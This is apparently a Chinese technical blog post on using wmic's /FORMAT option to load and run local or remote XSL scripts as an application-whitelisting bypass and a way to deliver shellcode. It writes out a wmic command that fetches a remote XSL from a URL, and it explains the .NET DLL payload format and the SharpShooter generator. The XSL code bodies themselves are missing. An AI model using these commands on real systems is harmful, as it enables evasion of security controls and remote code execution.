vbs调用c++dll_利用wmic调用xsl文件的分析与利用以及细节的答疑

Casey Smith@subTee在博客分享的一个技巧,使用wmic能够从本地或从URL调用XSL(可扩展样式表语言)脚本。这个发现很有用,不仅可以作为一种白名单绕过的方法,而且可以作为payload来使用(从URL调用XSL脚本,利用XSL执行exe、shellcode、powershell脚本)。

本地简单的一个wmic.xsl文件内容如下:

<?xml version='1.0'?>

远程执行命令:wmic os get /FORMAT:"https://example.com/wmic.xsl"

或本地执行命令:wmic os get /FORMAT:"d:wmic.xsl"

均会弹出计算器,如图所示:

309d983a49abe671d960bc4c11a41a5d.png

最近在github上获得star很多的点赞教程,micro8.gitbook.io/micro8/contents-1/71-80/80-ji-yu-bai-ming-dan-wmic-zhi-hang-payload-di-shi-ji,也提到了这个用法。它原文中是用了一个执行shellcode的Micropoor_Win7.xsl,代码如下:

<?xml version='1.0'?>

代码中的哪些base64是什么呢?土司论坛中我看到了一篇文章,竟然说是exe文件的base64编码,说是用任意一个exe编码成base64,然后替换就可以了,这个是不对的。我在我头条号上更正吧。

这个是一个dll的base编码(当然用exe也可以),不过这个文件是有要求的,注意代码中的这一句”var entry_class = 'ShellCodeLauncher.Program'; “,说明这是一个类名为ShellCodeLauncher.Program的net程序的base64编码。

我写了一个简单的示例:

bf88d97df4fb67acdd350d8f0dffc99e.png

这个文件生成dll后再编码就可以调用了。注意这个dll的类名为EvalPeak。

所以我的xsl文件代码如下,由于我熟悉vbs,所以我是用vbs写的。

<?xml version='1.0'?>

这个代码按wmic格式运行后也会弹出计算器。

如果你不会.net程序,不会代码怎么办。其实也有现成的生成xsl工具,就是SharpShooter。

e5e1c38a3a3fc412ec363bdd700c9b5c.png

这个工具具体如何利用,我们下次再聊。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值